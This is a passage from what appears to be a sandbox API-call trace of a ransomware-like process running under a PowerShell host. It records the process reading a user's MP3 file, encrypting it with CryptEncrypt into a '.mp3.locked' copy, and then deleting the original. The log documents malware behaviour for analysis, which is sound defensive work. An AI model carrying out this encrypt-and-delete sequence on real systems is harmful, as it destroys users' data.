(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.679] GetFileType (hFile=0x874) returned 0x1 [0133.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.679] GetFileType (hFile=0x874) returned 0x1 [0133.679] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.679] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x696c454 | out: pbBuffer=0x696c454) returned 1 [0133.679] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.679] CryptDuplicateKey (in: hKey=0x8e84f78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84bf8) returned 1 [0133.679] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.679] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x4, pbData=0x696d710*=0x1, dwFlags=0x0) returned 1 [0133.680] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x1, pbData=0x696d6dc, dwFlags=0x0) returned 1 [0133.680] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x630\x438\x24a") returned 0x0 [0133.680] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.680] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.680] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.681] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.681] ReadFile (in: hFile=0x858, lpBuffer=0x6970d34, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6970d34*, lpNumberOfBytesRead=0x99ae7a8*=0xa23d, lpOverlapped=0x0) returned 1 [0133.681] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6984d40*, pdwDataLen=0x99ae79c*=0xa230, dwBufLen=0xa230 | out: pbData=0x6984d40*, pdwDataLen=0x99ae79c*=0xa230) returned 1 [0133.681] WriteFile (in: hFile=0x874, lpBuffer=0x696c514*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x696c514*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.683] WriteFile (in: hFile=0x874, lpBuffer=0x6985d2c*, nNumberOfBytesToWrite=0x9244, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6985d2c*, lpNumberOfBytesWritten=0x99ae780*=0x9244, lpOverlapped=0x0) returned 1 [0133.684] ReadFile (in: hFile=0x858, lpBuffer=0x6970d34, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6970d34*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.684] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x698ef94*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x698ef94*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.684] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x698efc8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x698efc8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.684] WriteFile (in: hFile=0x874, lpBuffer=0x696c514*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x696c514*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.685] CloseHandle (hObject=0x874) returned 1 [0133.687] CloseHandle (hObject=0x858) returned 1 [0133.687] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.687] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.687] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.687] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.688] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.689] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3")) returned 0x20 [0133.690] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.690] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.690] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.690] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.690] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.690] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.690] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.690] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.690] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.691] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.691] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.691] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.691] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.691] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3")) returned 0x20 [0133.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3\\", lpFilePart=0x0) returned 0x47 [0133.693] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.693] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.693] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.693] CoTaskMemFree (pv=0x8eb8930) [0133.695] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3")) returned 0x20 [0133.695] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.695] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3"), fInfoLevelId=0x0, lpFileInformation=0x69a5298 | out: lpFileInformation=0x69a5298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d347a30, ftCreationTime.dwHighDateTime=0x1d4ad7f, ftLastAccessTime.dwLowDateTime=0xfd241ff0, ftLastAccessTime.dwHighDateTime=0x1d49fe4, ftLastWriteTime.dwLowDateTime=0xfd241ff0, ftLastWriteTime.dwHighDateTime=0x1d49fe4, nFileSizeHigh=0x0, nFileSizeLow=0xa23d)) returned 1 [0133.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.695] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3")) returned 1 [0133.698] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.699] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.699] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.699] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.711] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3.locked")) returned 0x20 [0133.711] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\f_mh2z6btft7kos_6g.mp3.locked")) returned 0x20 [0133.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked", lpFilePart=0x0) returned 0x4d [0133.712] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3.locked", lpFilePart=0x0) returned 0x4d [0133.712] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.712] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\F_mh2z6BtFT7Kos_6G.mp3", lpFilePart=0x0) returned 0x46 [0133.712] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.712] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.712] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.712] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.714] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.714] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.714] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.714] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.714] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.716] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.716] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.716] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x19, [2]=0x30, [3]=0x4a, 